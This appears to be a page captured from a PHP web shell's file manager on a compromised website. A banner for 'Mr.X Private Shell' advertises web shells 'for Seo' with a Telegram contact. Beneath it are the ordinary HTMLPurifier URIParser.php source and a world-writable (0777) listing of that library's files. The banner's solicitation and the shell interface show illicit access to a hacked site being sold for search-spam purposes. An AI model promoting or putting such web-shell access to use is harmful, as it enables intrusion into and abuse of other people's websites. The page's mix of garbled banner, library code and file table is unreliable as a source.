__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Parses a URI into the components and fragment identifier as specified
* by RFC 3986.
*/
class HTMLPurifier_URIParser
{
/**
* Instance of HTMLPurifier_PercentEncoder to do normalization with.
*/
protected $percentEncoder;
public function __construct()
{
$this->percentEncoder = new HTMLPurifier_PercentEncoder();
}
/**
* Parses a URI.
* @param $uri string URI to parse
* @return HTMLPurifier_URI representation of URI. This representation has
* not been validated yet and may not conform to RFC.
*/
public function parse($uri)
{
$uri = $this->percentEncoder->normalize($uri);
// Regexp is as per Appendix B.
// Note that ["<>] are an addition to the RFC's recommended
// characters, because they represent external delimeters.
$r_URI = '!'.
'(([a-zA-Z0-9\.\+\-]+):)?'. // 2. Scheme
'(//([^/?#"<>]*))?'. // 4. Authority
'([^?#"<>]*)'. // 5. Path
'(\?([^#"<>]*))?'. // 7. Query
'(#([^"<>]*))?'. // 8. Fragment
'!';
$matches = array();
$result = preg_match($r_URI, $uri, $matches);
if (!$result) return false; // *really* invalid URI
// seperate out parts
$scheme = !empty($matches[1]) ? $matches[2] : null;
$authority = !empty($matches[3]) ? $matches[4] : null;
$path = $matches[5]; // always present, can be empty
$query = !empty($matches[6]) ? $matches[7] : null;
$fragment = !empty($matches[8]) ? $matches[9] : null;
// further parse authority
if ($authority !== null) {
$r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/";
$matches = array();
preg_match($r_authority, $authority, $matches);
$userinfo = !empty($matches[1]) ? $matches[2] : null;
$host = !empty($matches[3]) ? $matches[3] : '';
$port = !empty($matches[4]) ? (int) $matches[5] : null;
} else {
$port = $host = $userinfo = null;
}
return new HTMLPurifier_URI(
$scheme, $userinfo, $host, $port, $path, $query, $fragment);
}
}
// vim: et sw=4 sts=4
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AttrDef | Folder | 0777 |
|
|
| AttrTransform | Folder | 0777 |
|
|
| ChildDef | Folder | 0777 |
|
|
| ConfigSchema | Folder | 0777 |
|
|
| DefinitionCache | Folder | 0777 |
|
|
| EntityLookup | Folder | 0777 |
|
|
| Filter | Folder | 0777 |
|
|
| HTMLModule | Folder | 0777 |
|
|
| Injector | Folder | 0777 |
|
|
| Language | Folder | 0777 |
|
|
| Lexer | Folder | 0777 |
|
|
| Node | Folder | 0777 |
|
|
| Printer | Folder | 0777 |
|
|
| Strategy | Folder | 0777 |
|
|
| TagTransform | Folder | 0777 |
|
|
| Token | Folder | 0777 |
|
|
| URIFilter | Folder | 0777 |
|
|
| URIScheme | Folder | 0777 |
|
|
| VarParser | Folder | 0777 |
|
|
| Arborize.php | File | 2.49 KB | 0777 |
|
| AttrCollections.php | File | 4.75 KB | 0777 |
|
| AttrDef.php | File | 5.07 KB | 0777 |
|
| AttrTransform.php | File | 1.94 KB | 0777 |
|
| AttrTypes.php | File | 3.67 KB | 0777 |
|
| AttrValidator.php | File | 6.42 KB | 0777 |
|
| Bootstrap.php | File | 2.64 KB | 0777 |
|
| CSSDefinition.php | File | 19.59 KB | 0777 |
|
| ChildDef.php | File | 1.52 KB | 0777 |
|
| Config.php | File | 30.96 KB | 0777 |
|
| ConfigSchema.php | File | 5.76 KB | 0777 |
|
| ContentSets.php | File | 5.51 KB | 0777 |
|
| Context.php | File | 2.57 KB | 0777 |
|
| Definition.php | File | 1.33 KB | 0777 |
|
| DefinitionCache.php | File | 3.82 KB | 0777 |
|
| DefinitionCacheFactory.php | File | 3.12 KB | 0777 |
|
| Doctype.php | File | 1.54 KB | 0777 |
|
| DoctypeRegistry.php | File | 4.13 KB | 0777 |
|
| ElementDef.php | File | 7.35 KB | 0777 |
|
| Encoder.php | File | 25.19 KB | 0777 |
|
| EntityLookup.php | File | 1.39 KB | 0777 |
|
| EntityParser.php | File | 9.75 KB | 0777 |
|
| ErrorCollector.php | File | 7.45 KB | 0777 |
|
| ErrorStruct.php | File | 1.85 KB | 0777 |
|
| Exception.php | File | 177 B | 0777 |
|
| Filter.php | File | 1.59 KB | 0777 |
|
| Generator.php | File | 10.01 KB | 0777 |
|
| HTMLDefinition.php | File | 17.33 KB | 0777 |
|
| HTMLModule.php | File | 9.96 KB | 0777 |
|
| HTMLModuleManager.php | File | 15.57 KB | 0777 |
|
| IDAccumulator.php | File | 1.61 KB | 0777 |
|
| Injector.php | File | 8.79 KB | 0777 |
|
| Language.php | File | 5.92 KB | 0777 |
|
| LanguageFactory.php | File | 6.46 KB | 0777 |
|
| Length.php | File | 3.8 KB | 0777 |
|
| Lexer.php | File | 13.21 KB | 0777 |
|
| Node.php | File | 1.25 KB | 0777 |
|
| PercentEncoder.php | File | 3.48 KB | 0777 |
|
| Printer.php | File | 5.76 KB | 0777 |
|
| PropertyList.php | File | 2.72 KB | 0777 |
|
| PropertyListIterator.php | File | 894 B | 0777 |
|
| Queue.php | File | 1.51 KB | 0777 |
|
| Strategy.php | File | 762 B | 0777 |
|
| StringHash.php | File | 1.07 KB | 0777 |
|
| StringHashParser.php | File | 3.56 KB | 0777 |
|
| TagTransform.php | File | 1.07 KB | 0777 |
|
| Token.php | File | 2.17 KB | 0777 |
|
| TokenFactory.php | File | 3.03 KB | 0777 |
|
| URI.php | File | 10.35 KB | 0777 |
|
| URIDefinition.php | File | 3.35 KB | 0777 |
|
| URIFilter.php | File | 2.31 KB | 0777 |
|
| URIParser.php | File | 2.24 KB | 0777 |
|
| URIScheme.php | File | 3.4 KB | 0777 |
|
| URISchemeRegistry.php | File | 2.35 KB | 0777 |
|
| UnitConverter.php | File | 9.91 KB | 0777 |
|
| VarParser.php | File | 5.85 KB | 0777 |
|
| VarParserException.php | File | 157 B | 0777 |
|
| Zipper.php | File | 4.34 KB | 0777 |
|